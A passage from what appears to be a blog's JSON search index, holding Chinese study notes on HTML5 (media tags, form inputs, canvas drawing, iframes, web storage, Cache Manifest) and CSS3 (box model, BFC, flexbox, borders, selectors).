src=\u0026quot;hallo.mp3\u0026quot; controls autoplay=\u0026quot;autoplay\u0026quot; loop\u0026gt;\u0026lt;/audio\u0026gt;\rcontrols属性是显示控制栏，autoplay属性是自动播放，loop属性是循环播放\n注意：video元素支持的视频格式有mp4，ogg，webm，不过每个格式在不同浏览器内核兼容性不一样\nsource标签就完美解决这个问题，例如：\n\u0026lt;video\u0026gt;\r\u0026lt;source src=\u0026quot;hallo.mp4\u0026quot;\u0026gt;\r\u0026lt;source src=\u0026quot;hallo.ogg\u0026quot;\u0026gt;\r\u0026lt;source src=\u0026quot;hallo.WebM\u0026quot;\u0026gt;\r\u0026lt;/video\u0026gt;\r播放顺序是如果第一个支持就是只播放第一个，如果第一个不支持，第二个支持，就播放第二个\n表单控件可以控制输入内容必须为指定合法的数据，例如：\n\u0026lt;form\u0026gt;\t邮箱地址：\r\u0026lt;input type=\u0026quot;email\u0026quot;\u0026gt;\r\u0026lt;/form\u0026gt;\rtype新的属性值有：\nemail：邮箱地址\nurl：网址\nnumber：数字\ncolor：拾色器\ntime：时，分\nweek：周\nmonth：月\ndate：年，月，日\ndatetime-local：年，月，日，时，分，秒\nrange：滑块\nform的一些属性\nautocomplete：该属性可以实现自动输入功能，浏览器基于之前输入并且提交过的值，属性值有on和off\nnovalidate：该属性是是否关闭校验，搭配表单控件食用更佳\ninput的一些属性\nautofocus：自动获取焦点\nplaceholder：提示信息（占位符）\nrequired：必填项\nlist：带本地数据缓存列表的自动输入，例如\n\u0026lt;form\u0026gt;\r\u0026lt;input type=\u0026quot;url\u0026quot; list=\u0026quot;url_list\u0026quot; name=\u0026quot;link\u0026quot;/\u0026gt;\r\u0026lt;datalist id=\u0026quot;url_list\u0026quot;\u0026gt;\r\u0026lt;option label=\u0026quot;blog\u0026quot; value=\u0026quot;https://xiaochenabc123.test.com\u0026quot; /\u0026gt;\r\u0026lt;option label=\u0026quot;baidu\u0026quot; value=\u0026quot;https://www.baidu.com\u0026quot; /\u0026gt;\r\u0026lt;option label=\u0026quot;github\u0026quot; value=\u0026quot;https://www.github.com\u0026quot; /\u0026gt;\r\u0026lt;/datalist\u0026gt;\r\u0026lt;input type=\u0026quot;submit\u0026quot; /\u0026gt;\r\u0026lt;/form\u0026gt;\rmultiple：多选项\n如果一个表单不被form元素包含，但是又想提交过去，那么可以指定该input元素的form属性值为form元素的id\ncanvas元素用于图形的绘制，该元素只是一个容器，还需要js来绘制，例如：\n\u0026lt;canvas width=\u0026quot;300px\u0026quot; height=\u0026quot;300px\u0026quot;\u0026gt;\u0026lt;/canvas\u0026gt;\r\u0026lt;style\u0026gt;\rcanvas{\rborder: 1px solid #000;\r}\r\u0026lt;/style\u0026gt;\r\u0026lt;script\u0026gt;\r//获取dom对象\rvar canvas =document.querySelector(\u0026quot;canvas\u0026quot;);\r//获取绘图上下文\rvar ctx=canvas.getContext(\u0026quot;2d\u0026quot;);\rctx.fillStyle=\u0026quot;#000\u0026quot;;\rctx.fillRect(0,0,100,100);\r// Canvas坐标是二维的，代表左上角的坐标为0,0\r\u0026lt;/script\u0026gt;\rcanvas画线，提供了两个方法moveTo()和lineTo()，例如:\nvar canvas =document.querySelector(\u0026quot;canvas\u0026quot;);\rvar ctx=canvas.getContext(\u0026quot;2d\u0026quot;);\rctx.moveTo(100, 100); // 线条开始坐标\rctx.lineTo(200, 100); // 线条结束坐标\rctx.stroke(); // 绘制\r画圆圈：\nvar canvas =document.querySelector(\u0026quot;canvas\u0026quot;);\rvar ctx=canvas.getContext(\u0026quot;2d\u0026quot;);\rctx.beginPath();\rctx.arc(100,100,80,0,2*Math.PI,false); // 圆心的坐标（x，y），半径，开始弧度，结束弧度，方向(默认为false顺时针,true代表逆时针)\rctx.stroke();\r以圆心为中心向右（3点方向）为0度角，顺时针为正，逆时针为负\n1角度=π/180度，1弧度=180度/π,一个圆有360度，也就是说一个圆是2弧度\n30度=π/6,60度=π/3,90度=π/2,180度=π,360度=2π，依此类推\nx坐标 = 圆心的横坐标+圆的半径*cos(弧度)\ny坐标 = 圆心的纵坐标+圆的半径*sin(弧度)\n画三角形\nvar canvas =document.querySelector(\u0026quot;canvas\u0026quot;);\rvar ctx=canvas.getContext(\u0026quot;2d\u0026quot;);\rctx.moveTo(10, 10);\rctx.lineTo(10, 100);\rctx.lineTo(70, 100);\rctx.closePath(); // 闭合\rctx.stroke();\rctx.fillStyle=\u0026quot;#ccc\u0026quot;; // 填充颜色\rctx.fill();\r平移(坐标系圆点的平移)\ntranslate(x,y)\n注意：translate不能只设置一个值(除非使用translateX或者translateY进行单独设置值)，和moveTo()的区别就是moveTo是修改开始绘制的位置，圆点位置没有改变，而translate是改变圆点位置，例如：\nvar canvas =document.querySelector(\u0026quot;canvas\u0026quot;);\rvar ctx=canvas.getContext(\u0026quot;2d\u0026quot;);\rctx.translate(100,100);\rctx.fillStyle=\u0026quot;gray\u0026quot;;\rctx.fillRect(50,50,100,50);\r旋转\nvar canvas =document.querySelector(\u0026quot;canvas\u0026quot;);\rvar ctx=canvas.getContext(\u0026quot;2d\u0026quot;);\rctx.translate(100, 100);\rctx.rotate(Math.PI/6);\rctx.moveTo(0, 0);\rctx.lineTo(200, 0);\rctx.lineTo(0, 100);\rctx.stroke();\r缩放\nvar canvas =document.querySelector(\u0026quot;canvas\u0026quot;);\rvar ctx=canvas.getContext(\u0026quot;2d\u0026quot;);\rctx.translate(300,200);\rctx.scale(0.3, 0.5); // x轴和y轴缩放倍数，例如0.3，0.5\rctx.arc(10,10,200,0,2*Math.PI);\rctx.stroke();\r线与线之间链接的方式，主要用到lineJoin属性，属性值有miter（尖角，默认），bevel（斜角），round（圆角），例如：\nvar canvas =document.querySelector(\u0026quot;canvas\u0026quot;);\rvar ctx=canvas.getContext(\u0026quot;2d\u0026quot;);\rctx.lineWidth=10; // 线的宽度\rctx.lineJoin=\u0026quot;bevel\u0026quot;; // 线与线的链接方式\rctx.moveTo(80, 80); // 线条开始坐标\rctx.lineTo(200, 130); // 线条结束坐标\rctx.lineTo(150, 30);\rctx.stroke(); // 绘制\r线帽\n主要实现方式就是使用lineCap()属性，例如：\nvar canvas =document.querySelector(\u0026quot;canvas\u0026quot;);\rvar ctx=canvas.getContext(\u0026quot;2d\u0026quot;);\rctx.lineWidth=10;\rctx.lineCap=\u0026quot;round\u0026quot;;\rctx.moveTo(50,50);\rctx.lineTo(200,50);\rctx.stroke();\r该属性有三个值，分别是butt（默认），round（圆形线帽），square（正方形线帽）\nbutt和square的区别就是，square（round也是）会导致线条变长一点\nctx.beginPath(); // 设置新的画布\n非零环绕\n如果想画一个不规则的图形，然后填充颜色，那么怎么知道那里该填色那里不填色呢，那么就是需要用到一个叫非零环绕的数学方法，实现原理很简单，描绘路径一笔完成就可以了，例如：\nvar canvas =document.querySelector(\u0026quot;canvas\u0026quot;);\rvar ctx=canvas.getContext(\u0026quot;2d\u0026quot;);\rctx.arc(120,120,80,0,2*Math.PI,false); // .arc()方法中最后一个参数是设置路径方向的\rctx.arc(120,120,100,0,2*Math.PI,true);\rctx.stroke();\rctx.fillStyle=\u0026quot;#ccc\u0026quot;; // 填充颜色\rctx.fill();\r非零环绕：\n以点为圆心,绘制一条射线,以射线为半径顺时针旋转,相交的边同向记为+1,反方向记为-1,如果相加的区域等于0,则不填充,非零区域填充\n例如：假设一个点，以这个点绘制一条射线，如果这个射线和这个点的一条路径正方向相交，则为+1，或者再有一个点，如果这个点和这个点的一条路径正方向，但是又有一条路径是反方向相交的，那么就是+1-1，那么就是0，只要结果不是0，那么射线所在的区域就是在外面，不填充\n线性渐变\nvar canvas =document.querySelector(\u0026quot;canvas\u0026quot;);\rvar ctx=canvas.getContext(\u0026quot;2d\u0026quot;);\rvar clg=ctx.createLinearGradient(0,0,200,0);\rclg.addColorStop(0,\u0026quot;red\u0026quot;);\rclg.addColorStop(1,\u0026quot;black\u0026quot;);\rctx.lineWidth=\u0026quot;50\u0026quot;;\rctx.strokeStyle=clg;\rctx.moveTo(100, 100); ctx.lineTo(200, 100); ctx.stroke(); createLinearGradient()有4个参数，分别代表渐变开始的xy坐标，渐变结束的xy坐标\naddColorStop()方法，第一个参数是设置开始和结束或者中间的周期，第二个参数是颜色\n0代表开始，1表示结束，中间颜色可以使用小数来设置\n径向渐变 var canvas =document.querySelector(\u0026ldquo;canvas\u0026rdquo;); var ctx=canvas.getContext(\u0026ldquo;2d\u0026rdquo;); var clg=ctx.createRadialGradient(200,200,100,120,120,100); clg.addColorStop(0,\u0026ldquo;black\u0026rdquo;); clg.addColorStop(1,\u0026ldquo;red\u0026rdquo;); ctx.fillStyle=clg; ctx.moveTo(50, 50); ctx.lineTo(300, 100); ctx.lineTo(300, 300); ctx.lineTo(100, 300); ctx.lineTo(50, 50); ctx.closePath(); ctx.fill();\ncreateRadialGradient()中有6个参数，分别代表径向渐变开始的xy坐标，渐变开始的半径，向渐变结束的xy坐标，渐变结束的半径\n虚线就是实线和空白区域之间的空白距离\nsetLineDash()，参数是一个数组，如果数组中有两个值，那么就是分别代表实线长度，空白长度，如果是三个值，那么就是分别代表实线，空白，实线\u0026hellip;\n例如：\nvar canvas =document.querySelector(\u0026quot;canvas\u0026quot;);\rvar ctx=canvas.getContext(\u0026quot;2d\u0026quot;);\rctx.moveTo(100, 100);\rctx.lineTo(300, 150);\rctx.setLineDash([10,3,15]);\rctx.stroke();\r绘制动画\n动画确实就是绘制一个图形，清除这个图形，然后在另一个地方绘制图形，达到这个图形好像在动的错觉\n清除图形用到clearRect()，例如：\nvar canvas =document.querySelector(\u0026quot;canvas\u0026quot;);\rvar ctx=canvas.getContext(\u0026quot;2d\u0026quot;);\rvar x=0; // 初始位置\rvar abc=10; // 每次移动多少像素\rvar i=1; // 改变方向，做到一来一回的效果\rsetInterval(function(){\r// 定时器\rctx.clearRect(0, 0, canvas.width, canvas.height); // 清除\rctx.fillRect(x, 120, 120, 180); // 绘制新的图形\rx+=abc*i; // 处理，实质上x是移动的位置变化，x=x+abc*i\rif(x\u0026gt;canvas.width-120){\ri=-1;\r}else if(x\u0026lt;0){\ri=1;\r// i的值为1时为正方向移动，为-1时为反方向移动，将值做成互为相反数来达到效果\r}\r},30);\r绘制文本\n绘制文本有两个方法，fillText()实体文字，strokeText()镂空文字，例如：\nvar canvas =document.querySelector(\u0026quot;canvas\u0026quot;);\rvar ctx=canvas.getContext(\u0026quot;2d\u0026quot;);\rctx.textAlign=\u0026quot;center\u0026quot;; // 文本水平对齐方式,left,right,center\rctx.font=\u0026quot;30px 宋体\u0026quot;; // 文本大小与字体\rctx.textBaseline=\u0026quot;middle\u0026quot;; // 文字垂直对齐方式,alphabetic(默认),top,middle,bottom,hanging,ideographic\rctx.shadowColor=\u0026quot;gray\u0026quot;; // 文本阴影颜色\rctx.shadowOffsetX=3; // 文字阴影的水平偏移量\rctx.shadowOffsetY=3; // 文字阴影的垂直偏移量\rctx.shadowBlur=6; // 设置文字阴影的模糊度\rctx.strokeText(\u0026quot;hallo word\u0026quot;, 200, 200); // 文本内容，x，y\rctx.fillText(\u0026quot;hallo word\u0026quot;, 200, 200);\r绘制图片\n例如：\nvar canvas =document.querySelector(\u0026quot;canvas\u0026quot;);\rvar ctx=canvas.getContext(\u0026quot;2d\u0026quot;);\rvar img=document.createElement(\u0026quot;img\u0026quot;); // 创建一个img\rimg.src=\u0026quot;hallo.jpg\u0026quot;; // 图片位置\rimg.onload=function(){\rctx.drawImage(img,100,100); // 图片对象，x，y\r}\r图片设置宽度高度\nctx.drawImage(img,100,100,200,200); // 图片对象，x，y，宽度，高度\r将图片绘制到矩形区域内的指定位置\nctx.drawImage(img,100,100,200,200,0,0,300,300); // 图片对象，图片绘制到矩形的位置xy，图片的高度和宽度，图片矩形的位置，图片矩形的高度和宽度\r解决图片比例不正常：\n要满足：绘制的图片宽度：绘制的图片高度等于原始图片宽度：原始高度\n那么就是说绘制的图片宽度等于绘制的图片高度乘以原始图片宽度除以原始高度，依此类推，保证绘制的图片宽高比例和原来图片的比例宽高一致\niframe框架\n用于在网页中显示网页\n\u0026lt;iframe src=\u0026quot;https://xiaochenabc123.test.com\u0026quot;\u0026gt;\u0026lt;/iframe\u0026gt;\r可以设置高度和宽度\nframeborder=\u0026ldquo;0\u0026rdquo; // 可以移除边框\n可以设置target属性来做目标\ntarget属性：浏览器会在指定文件中寻找对应的name，并且寻找到对应name的href属性\n\u0026lt;iframe src=\u0026quot;index.html\u0026quot; name=\u0026quot;iframe_a\u0026quot;\u0026gt;\u0026lt;/iframe\u0026gt;\r\u0026lt;a href=\u0026quot;https://xiaochenabc123.test.com\u0026quot; target=\u0026quot;iframe_a\u0026quot;\u0026gt;hallo\u0026lt;/a\u0026gt;\rdefer属性规定了执行延迟，当页面加载完毕就执行，不用再担心DOM元素获取不了，例如：\n\u0026lt;script type=\u0026quot;text/javascript\u0026quot; defer=\u0026quot;defer\u0026quot;\u0026gt;\rconsole.log(\u0026quot;hallo word\u0026quot;)\r\u0026lt;/script\u0026gt;\r无论这句话防止哪里，都会等到页面加载完毕（dom渲染完毕后）才会执行\n本地存储\nlocalStorage是用键值对来进行本地存储，localStorage方法是window方法下的\n存储\nlocalStorage.setItem(\u0026ldquo;root\u0026rdquo;,\u0026ldquo;123\u0026rdquo;)\n读取\nlet abc = localStorage.getItem(\u0026ldquo;root\u0026rdquo;)\n删除\nlocalStorage.removeItem(\u0026ldquo;root\u0026rdquo;)\n例如:\nfunction onAdd(){\rif (localStorage.clickcount) {\rlocalStorage.clickcount = Number(localStorage.clickcount) + 1\r} else {\rlocalStorage.clickcount = 1\r}\rdocument.getElementById(\u0026quot;root\u0026quot;).innerHTML = \u0026quot;当前点击数：\u0026quot; + localStorage.clickcount + \u0026quot;次\u0026quot;\r}\r...\r\u0026lt;button onclick=\u0026quot;onAdd()\u0026quot; type=\u0026quot;button\u0026quot;\u0026gt;点击\u0026lt;/button\u0026gt;\r\u0026lt;div id=\u0026quot;root\u0026quot;\u0026gt;\u0026lt;/div\u0026gt;\r注意：localStorage会永久存储，一直到手动删除，如果想保存在当前会话的话使用sessionStorage更好，该会在关闭页面的时候同时也销毁这些数据\nsessionStorage也是window方法下的\n存储\nsessionStorage.setItem(\u0026ldquo;root\u0026rdquo;, \u0026ldquo;123\u0026rdquo;)\n读取\nlet abc = sessionStorage.getItem(\u0026ldquo;root\u0026rdquo;)\n删除\nsessionStorage.removeItem(\u0026ldquo;root\u0026rdquo;)\n删除全部数据\nsessionStorage.clear()\nCache Manifest是HTML5的一种缓存机制，用来缓存应用，让其在无网络的情况下还能访问\n启动Cache Manifest也很简单，直接在html元素上使用manifest属性，属性值是manifest文件\nW3C建议文件扩展名为.appcache\nmanifest文件格式\nCACHE MANIFEST /main.js /logo.jpg NETWORK: test.html FALLBACK: /archives /404.html\n上面表示/main.js和/logo.jpg将被缓存，哪怕断开连接，都是可用的，test.html不被缓存，如果不能连接网络，archives目录将被404.html覆盖\n注意：应用被缓存，那么就会被一直缓存下去，一直到清空缓存，manifest文件被修改才会重新从互联网上获取最新的数据\n离线存储是通过manifest文件来管理的，还需要服务器端的支持，因为这里是nginx服务器，因此修改mime.types文件，添加manifest文件映射\n添加\ntext/cache-manifest appcache;\r然后重启nginx服务器\n例如：\n\u0026lt;html manifest=\u0026quot;demo.appcache\u0026quot;\u0026gt;\r\u0026lt;body\u0026gt;离线缓存\u0026lt;/body\u0026gt;\r\u0026lt;/html\u0026gt;\rDOCTYPE是声明浏览器应该使用哪种规范解析，因为HTML5不是基于SGML（标准通用标记语言），所以不需要DTD，而HTML4.01是基于SGML，所以才需要引用DTD，XHTML是严格版本的HTML，必须正确嵌套，闭合，以及区分大小写\nDTD(Document Type Definition, 文档类型定义)是一套用来定义html或者xhtml，以及xml的文件类型的语法语法规则，浏览器根据dtd来判断文件类型，使用哪种模式来说解析\niframe\niframe会堵塞页面的加载事件（onload）(只有当全部iframe标签都加载完毕才会触发该事件)，还存在连接池问题（部分老版本浏览器限制同一个域名多开连接，页面和iframe共享连接池），而且搜索引擎无法爬取该页面，如果需要使用，请尽量保证iframe存在src属性\n","permalink":"https://xiaochenabc123.github.io/posts/12/","summary":"HTML5是HTML标准的第5代标准，主要目的是语义化并且提供多媒体的嵌入\nHTML是什么？HTML全称为HyperTextMarkupLanguage，中文叫超文本标记语言，简称HTML\n而HTML5是一个标准，指的是第五代HTML标准\nHTML5主要的新特性：\n语义特性，本地存储特性，设备兼容特性，连接特性，网页多媒体特性，性能与集成特性，CSS3特性\nHTML的块级与行级\n块级元素的特征：\n独占一行，不和其他元素待在同一行上，能设置宽和高\n默认宽度是该元素的容器的100%，不过可以设置宽度\n常用的块级元素有div，ul，li，dl，dt，h1-h6\n行级元素的特征：\n可以和其他元素待在同一行上，不能设置宽和高\n它的宽度就是它的文字或者图片的宽度\n常用的行级元素有a，span\n行内块级元素的特征：\n可以设置宽和高，可以一行多个\n常见的行内块级元素有input，img\n转换元素为块级或者行内\ndisplay：block //定义元素为块级元素\ndisplay: inline //定义元素为行内元素\ndisplay：inline-block //定义元素为行内块级元素。\n这三个的区别只有三个，排列分式，设置宽高，默认宽度\nhtml语义\n语义化：使得页面可以很好的向浏览器和开发者描述其意义\n语义化的好处：\n方便开发团队的前期开发和后期维护，不只是作用于自己的开发团队，也方便其他国家的开发者能理解网页的结构；\n在css文件丢失的情况下，也能表示出好的内容结构和代码结构，方便用户阅读；\n方便辅助技术能更好的阅读或者转译网页，方便有障碍人士阅读；\n良好的结构和语义，可以提高搜索引擎爬虫的有效爬取；\n重点：用正确的标签做正确的事！！！\n要注意可以改变样式的标签不一定是有居于语义的\n在没有出现语义元素前，几乎都是使用div或者span，加类加id\n没有语义的元素最适合当容器使用了\n常用的非语义元素有\u0026lt;div\u0026gt;和\u0026lt;span\u0026gt;\r常用的语义元素有\u0026lt;header\u0026gt;和\u0026lt;footer\u0026gt;\r\u0026lt;header\u0026gt;：页眉，一般包括网站logo，主导航，搜索框等；\r\u0026lt;nav\u0026gt;：导航，链接；\r\u0026lt;main\u0026gt;：定义文章的主要内容，一个页面只能使用一次；\r\u0026lt;article\u0026gt;：定义一份独立的内容，脱离其他内容或者其他部分，独立于文档的其余部分；\r\u0026lt;section\u0026gt;：定义内容的节（段）；\r\u0026lt;footer\u0026gt;：页脚，一般包含版权信息或者链接等；\r\u0026lt;aside\u0026gt;：侧边栏，一般作为附属信息，例如导航索引，广告等；\rmeta viewport\nviewport 是指 web 页面上的可见区域\n\u0026lt;meta name=\u0026quot;viewport\u0026quot; content=\u0026quot;width=device-width, initial-scale=1.0\u0026quot;\u0026gt;\rdevice-width指设备的理想宽度,不同的设备 device-width 是不一样的\nnitial-scale=1.0 是指默认缩放大小是1，也就是默认不缩放\nmaximum-scale=1.0 是指最大缩放大小是1\n标签使用\u0026lt;和\u0026gt;括起来，例如\u0026lt;div\u0026gt;\nhtml标签大多都是成对出现的，分开始标签和结束标签，结束标签比开始标签多了个/\n例如： html不区分大小写。所以\u0026lt;DIV\u0026gt;和\u0026lt;div\u0026gt;作用一样。建议使用小写\n\u0026lt;!DOCTYPE html\u0026gt;声明这是一个html5文件，声明位于\u0026lt;html\u0026gt;前面\r\u0026lt;html\u0026gt; 标识HTML文档的开始\r\u0026lt;head\u0026gt;表明一些和html文档有关的信息，例如title\r\u0026lt;body\u0026gt;html文档的主体\r\u0026lt;!","title":"html5学习笔记"},{"content":"盒子模型\n盒模型在css中是用来封装html元素的，因为本质上来看像个盒子一样，所以叫盒模型或者盒子模型，术语叫box model\n外边距（margin）：一般用于控制同辈元素之间的间距\n边框（border）：在内边距和内容之外的边框\n内边距（padding）：内边框是用于控制内容的距离\n内容（content）：内容，一般为文本和图像\n例子：建立一个宽度为100px，10px的内边距，10px的外边距，10px的红色边框的盒子\ndiv{\rwidth: 100px;\rborde: 10px solid red;\rpadding: 10px;\rmargin: 10px;\r}\rtop，bottom，left，right分别代表了上，下，左，右\n或者padding: 上，右，下，左，只有一个数字就表示上，下，左，右都是这个数值\n有两个数值就是分别代表上下和左右，有三个数值表示上和左右和下\n这个盒子大小应该是内容的宽度+内边距+边框+外边距\n100+20+20+20=160\n两种盒模型\nIE 盒子模型（box-sizing content-box）（怪异盒模型）\nIE盒模型的width与height是content、padding和border的总和\n调用IE盒模型 box-sizing: border-box;\nW3C标准盒模型（box-sizing content-box）\n标准盒模型的width与height只含content，不包括padding和border\n调用W3C标准盒模型 box-sizing: content-box;\n在IE6，7，8浏览器中不声明DOCTYPE类型，那么在IE6，7，8浏览器中会将盒子模型解释为IE盒子模型\n如果在页面中声明了DOCTYPE类型，那么所有的浏览器都会把盒模型解释为W3C盒模型\nJavaScript获取盒模型的宽和高（这里的DOM不是指整个dom，而是某个元素）\nDOM.style.width和DOM.style.height（只能获取内联样式）\nDOM.currentStyle.width和DOM.currentStyle.height（只支持IE）\nwindow.getComputedStyle(DOM).width和window.getComputedStyle(DOM).height（兼容性好）\n获取元素相对于视窗的位置(top,right,bottom,left都可以获取)\nlet data = DOM.getBoundingClientRect() data.top\n有BFC特性的元素是一个被“隔离”的容器，该容器里面的元素不会在布局上影响到外面的元素\n满足下面其中一个条件就触发BFC特性\nbody 根元素\n浮动元素 float除none外的值\n绝对定位元素 position (absolute、fixed)\ndisplay 为 inline-block、table-cells、flex\noverflow 除了 visible 以外的值 (hidden、auto、scroll)\nBFC的特性：\nBFC是页面上的独立容器，该容器使用类型浮动之类会影响布局的元素都不会影响到外界的布局或者元素\n例子：\n1.当处于同一个BFC容器时，外边距会进行重叠，为了避免重叠，可以将其放在不同的BFC容器内\n2.当容器内的元素使用的浮动，将其脱离了文档流，要触发容器的BFC，那么BFC容器要包含使用了浮动的元素\n3.当第一个元素使用了浮动，希望第二个元素不被浮动元素影响，要在第二个元素上触发BFC特性\nflex为Flexible Box 的缩写，意为\u0026quot;弹性盒模型\u0026quot;，为其盒模型提供足够大的灵活性\ndiv{\rdisplay: flex;\r}\r使用flex布局的元素，被称为flex容器，该元素的所有子元素为该容器的成员，称为flex项目\nflex-direction\n一般用到四个值\nrow：在水平方向上，起点在左 row-reverse：在水平方向上，起点在右 column：在垂直方向上，起点在上。 column-reverse：在垂直方向上，起点在下。\nflex-wrap\n一般用到三个值\nnowrap：不换行 wrap：当容器宽度不足时换行，第一行在上方 wrap-reverse：当容器宽度不足时换行，第一行在下方\nflex-flow是flex-direction和flex-wrap简写版，它们两个的属性都可以使用 例如flex-flow: row-reverse wrap-reverse;\n表达了换行，第一行在下方，起点在右\njustify-content\n定义项目在主轴上的对齐方式\nflex-star：左对齐\nflex-end：右对齐\ncenter： 居中\nspace-between：两端对齐，每个项目之间的间隔都相等\nspace-around：每个项目两侧的间隔相等，所以项目之间的间隔比项目与边框的间隔大一倍\nalign-items\nflex-start：头部对齐 flex-end：底部对齐 center：居中对齐 baseline: 项目的第一行文字的基线对齐 stretch：当项目没有设置高度或设置为auto时，将占满整个容器的高度\nalign-content\nflex-start：元素位于容器的开头 flex-end：元素位于容器的结尾 center：元素位于容器的中心 space-between：元素位于各行之间留有空白的容器内 space-around：元素位于各行之前、之间、之后都留有空白的容器内 stretch：默认值，元素被拉伸以适应容器\n单独用于元素的属性\norder 控制元素的顺序，数值越小排列就越靠前\norder:1\nflex-grow 控制元素的宽度\n如果都为1，还有剩余的空间，那么将会等分剩余的空间\n如果有一个为2，那么为2所占的剩余空间比为1的大1倍\nflex-grow: 2\nflex-shrink 控制元素宽度\n如果都为1时，当空间不足时，将会等比例缩小\n如果有一个为2时，那么当空间不足时\nflex-shrink: 2\nflex-basis 控制元素的初始宽度\n\\flex-basis: 100px flex 控制元素都有相同的宽度，不会被内容的长度撑开 \\flex: 1 align-self 控制元素单独对齐方式\nalign-self: auto | flex-start | flex-end | center | baseline | stretch;\n背景\n定位\n在box盒子内部的背景默认是在盒子的内边距的左上角对齐\nbackground-origin属性则规定background是相对于什么位置来定位的\n.box{\rwidth: 300px;\rheight: 300px;\rpadding: 10px;\rmargin: 10px;\rbackground: url(\u0026quot;hallo.jpg\u0026quot;);\rbackground-origin: padding-box;\r}\rbackground-origin属性值有3个，padding-box：相对于内边距定位，border-box：相对于边框定位，content-box：相对于内容区域\n裁切\n.box{\rwidth: 300px;\rheight: 300px;\rpadding: 10px;\rmargin: 10px;\rbackground: url(\u0026quot;hallo.jpg\u0026quot;);\rbackground-clip: padding-box;\r}\rbackground-clip属性提供相对于什么位置进行背景裁切，该属性值和background-origin一样\n背景尺寸\n.box{\rwidth: 300px;\rheight: 300px;\rpadding: 10px;\rmargin: 10px;\rbackground: url(\u0026quot;hallo.jpg\u0026quot;);\rbackground-size: 100px 100px;\r}\rbackground-size属性可以直接指定大小，也是可以cover或者contain填充\ncover会按照原来的缩放比来填满整个盒子，而contain是按照原来缩放比，完整的填充盒子（不会填满）\n边框\n边框阴影\n.box{\rwidth: 300px;\rheight: 300px;\rborder: 1px solid red;\rbox-shadow: 0px 0px 6px #ccc;\rborder-radius: 6px;\r}\rbox-shadow，第一个值为阴影在水平方向的偏移量（正数为正方向，负数为反方向）\n第二个值为阴影在垂直方向的偏移量（正数为朝下，负数为朝上）\n第三个值为阴影的模糊度\n第四个值为阴影的颜色\nborder-radius为边框圆角\n边框图片\n.box{\rwidth: 300px;\rheight: 300px;\rborder: 1px solid red;\rborder-image-source: url(\u0026quot;hallo.jpg\u0026quot;); // 边框图片\rborder-image-slice: 10; // 边框图片向内的偏移量\rborder-image-repeat: round; // 边框图片的平铺方式\rborder-image-width: 10px; // 边框图片的宽度\r}\rborder-image-repeat有4个常用值\nstretch（默认值）：拉伸图形来填充\nrepeat：平铺（重复）图形来填充\nround：如果无法完整平铺，那么就进行缩放来适应\nspace：如果无法完整平铺，那么就进行扩展来适应\n文本阴影\ntext-shadow，有4个值，分别是水平方向的偏移量，垂直方向的偏移量，模糊度，阴影的颜色\n伪类选择器\n:first-child：选择父元素中的第一个子元素 :last-child：选择父元素中的最后一个子元素 :nth-child(n) ：选择父元素中正数第n个子元素 :nth-last-child(n) ：选择父元素中倒数第n个子元素\nn的值必须要大于等于0，也可以是表达式\n:target：选择被锚链接指向 ::selection：选择被鼠标选中\n例如：\n:target{\rbackground-color: #ccc;\r}\r\u0026lt;p\u0026gt;\\\u0026lt;a href=\u0026quot;#a\u0026quot;\u0026gt;跳转至1\u0026lt;/a\u0026gt;\u0026lt;/p\u0026gt;\r\u0026hellip;\n\u0026lt;p id=\u0026quot;a\u0026quot;\u0026gt;1\u0026lt;/p\u0026gt;\r或者\np::selection:{\rbackground-color: #ccc;\r}\r\u0026lt;p\u0026gt;xxx\u0026lt;/p\u0026gt;\r\u0026hellip;\n\u0026lt;p\u0026gt;xxx\u0026lt;/p\u0026gt;\r::first-line：选择第一行 ::first-letter：选择第一个字符\n例如：\ndiv{\rwidth: 100px;\rheight: 100px;\r}\rdiv::first-line{\rbackground-color: #ccc;\r}\rdiv::first-letter{\rbackground-color: #000;\r}\r\u0026lt;div\u0026gt;\rsjdasfkdskbdsalkddsfjdslsakfbsdlss\rxxx\rtest\r\u0026lt;/div\u0026gt;\r过渡\n.box1 {\rwidth: 300px;\rheight: 300px;\rbackground-color: red;\rtransition-property: all; transition-duration: 3s;\r}\r.box1:hover {\rwidth: 500px;\rheight: 500px;\rbackground-color: #ccc;\r}\rtransition-property：表示哪些属性要参与到过渡动画效果，all表示全部\ntransition-duration：表示过渡执行时间\ntransition-delay: 设置过渡执行前等待的时间\ntransition-timing-function：过渡的速度类型，linear为相同速度，ease为开始慢速，变快，然后慢速结束，ease-in慢速开始，ease-out慢速结束，ease-in-out以慢速开始和结束，cubic-bezier开始到结束的不同速度过渡，用小数来表示进度，例如cubic-bezier(0.1, 0.3, 0.6, 0.1)\nCSS3 border-image\nborder-image可以在元素的边框上绘制图像，规范要求使用borde-images时边框样式必须存在\nborder-image: url(./logo.jpg) 10 repeat\n上面这行代表使用图片logo.jpg，裁剪位置10，使用重复方式\n图片：使用url()调用，路径可以是绝对或者相对，也可以不用图片，即none\n裁剪位置：默认单位为px，10表示10px，不需要写单位\n支持使用百分百，例如300px*100px的图片，30%就是裁剪图片90px*30px的四个边的大小 也可以使用4个数，代表上右下左要裁剪的数值\n重复方式只是其中一种方式，可以用于设置图像边界是否要重复或者拉伸，铺满\n重复（repeat)，拉伸（stretch）,平铺（round）\nstretch（拉伸）为默认值，所以会裁剪出来的图片比边框小，就会拉伸，以保证填满边框\n可以使用两个参数，当使用一个参数时，水平方向以及垂直方向都使用这个参数\n当使用两个参数时，第一个参数代表水平方向，第二个参数表示垂直方向\nborder-image还有4个子属性\n指定要用于绘制边框的图像的位置\nborder-image-source\n图像边界向内收缩\nborder-image-slice\n图像边界的宽度\n可以使用带单位的，百分百，不带单位的（倍数），auto\nborder-image-width\n指定在边框外部绘制 border-image-area 的量\n就是原本的位置向外拉伸\nborder-image-outset\n用于设置图像边界是否要重复或者拉伸，铺满\nborder-image-repeat\n引入css 内联css： // 要写在开始标签中\n嵌入css： div{color: #fff;}\n外部css: 优先级：内联 \u0026gt; 嵌入 \u0026gt; 外部\n选择器\n标签选择器：div{}\rid选择器：#main{} \u0026lt;div id=\u0026quot;main\u0026quot;\u0026gt;\r类选择器：.main{} \u0026lt;div class = \u0026quot;main\u0026quot;\u0026gt;\r子选择器：.main\u0026gt;div{}\r后代选择器：.main div{}\r通用选择器：*{}\r伪类选择器：a:{}\r分组选择器：div,span{}\rid选择器只能在文档中使用一次，类选择器可以使用多次\n选择器的优先级是: 内联 \u0026gt; id \u0026gt; 类 \u0026gt; 标签 \u0026gt; 